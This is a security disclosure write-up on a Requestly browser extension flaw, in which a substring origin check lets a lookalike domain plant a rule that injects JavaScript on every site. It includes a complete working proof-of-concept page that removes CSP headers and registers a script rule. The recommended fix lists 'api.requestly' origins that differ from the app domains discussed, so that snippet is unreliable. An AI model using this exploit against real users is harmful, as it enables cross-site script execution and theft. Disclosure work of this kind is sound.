Insecure Origin Check in Extension Requestly Leads to UXSS

1. Overview

Once a victim clicks on the malicious page.

An attacker can silently configure a rule inside the victim’s Requestly extension, which will result in arbitrary JavaScript code execution across all websites the victim visits.

2. Introduction to Requestly

Requestly is a popular(more than 200000users) Chrome extension that allows developers and testers to intercept, modify, and redirect network requests directly from the browser. It supports use cases such as:

  • Modifying HTTP request/response headers
  • Redirecting URLs
  • Blocking requests
  • Rewriting content
  • Executing custom scripts

image

2.1 How does Requestly work

It took me quite some time to figure this out. I found the vulnerable code firstly, but I didn’t where can I trigger it.

But there are only a few ways for browser extensions to interact with the page.

We can download the source code to review.

https://github.com/requestly/requestly

image

3. Vulnerability Detail

The vulnerable code resides in app.cs.js and is only loaded and executed on the websites app.requestly.io or app.requestly.com.

  1. using isAppURL to check event.origin
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    export const initMessageHandler = () => {
    window.addEventListener(
    "message",
    async (event: MessageEvent): Promise<void> => {
    if (event && !isAppURL(event.origin)) {
    if (config.logLevel === "debug") {
    console.log("Ignoring message from the following domain", event.origin, event.data);
    }
    return;
    }

    ```


    2. isAppURL

    use `includes` method to check, it can be bypassed easily.


    ```js
    export const isAppURL = (url: string) => {
    return !!url && getAllSupportedWebURLs().some((webURL) => url.includes(webURL));
    };


    export const getAllSupportedWebURLs = () => {
    const webURLsSet = new Set([config.WEB_URL, ...config.OTHER_WEB_URLS]);
    return [...webURLsSet];
    };

    WEB_URL: "https://app.requestly.io",
    OTHER_WEB_URLS: ["https://app.requestly.com"],

So this check can be bypassed with such origins:

  • https://app.requestly.io.attacker.com
  • https://app.requestly.com.attacker.com

4. Proof of Concept

https://app.requestly.io.cdn.cloud.d33n.cn/requestly-poc.html

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Requestly POC</title>
</head>
<body>
<h1>Requestly POC</h1>
<button id="openRequestly">Click</button>

<script>
const messageData = {
action: "SAVE_STORAGE_OBJECT",
object: {
Script_za0bp: {
createdBy: "km9RYPyCWDO8tPXWg0BrbtSuNQ22",
creationDate: 1744411128046,
currentOwner: "km9RYPyCWDO8tPXWg0BrbtSuNQ22",
description: "",
extensionRules: [
{
action: {
type: "modifyHeaders",
responseHeaders: [
{
header: "Content-Security-Policy",
operation: "remove"
}
]
},
condition: {
urlFilter: "http",
isUrlFilterCaseSensitive: true,
excludedInitiatorDomains: [],
excludedRequestDomains: [],
resourceTypes: ["main_frame", "sub_frame"]
}
}
],
groupId: "",
id: "Script_za0bp",
isSample: false,
lastModifiedBy: "km9RYPyCWDO8tPXWg0BrbtSuNQ22",
modificationDate: 1744411344928,
name: "script-1744411128049",
objectType: "rule",
pairs: [
{
id: "7b7l0",
scripts: [
{
attributes: [],
codeType: "js",
fileName: "",
id: "33p99",
loadTime: "afterPageLoad",
type: "code",
value: '\talert("hacked " + document.domain);'
}
],
source: {
key: "Url",
operator: "Matches",
value: "/.*/"
}
}
],
removeCSPHeader: true,
ruleType: "Script",
status: "Active",
schemaVersion: "3.0.0"
}
},
requestId: 55,
source: "page_script"
};

document.getElementById("openRequestly").addEventListener("click", () => {
const popup = window.open(
"https://app.requestly.com/assets/media/common/rq_logo_full.svg",
"requestly",
"width=1,height=1,left=9999,top=9999,toolbar=no,scrollbars=no,resizable=no"
);

const sendMessage = () => {
if (popup && !popup.closed) {
popup.postMessage(messageData, "*");
console.log("Message sent.");
window.open(
"https://www.google.com",
"google"
);
} else {
console.warn("Popup was blocked or closed.");
}
};

setTimeout(() => {
sendMessage();
}, 1000);
});
</script>
</body>
</html>

5. Recommendation

1
2
3
4
const trustedOrigins = ["https://api.requestly.io", "https://api.requestly.com"];
if (!trustedOrigins.includes(event.origin)) {
return;
}

6. Timeline

Date Event
2025-04-10 Vulnerability discovered
2025-04-11 Proof of concept developed
2025-04-12 Reported the issue to the Requestly
2025-04-14 Fixed

7. Credits

This vulnerability was discovered by Deen.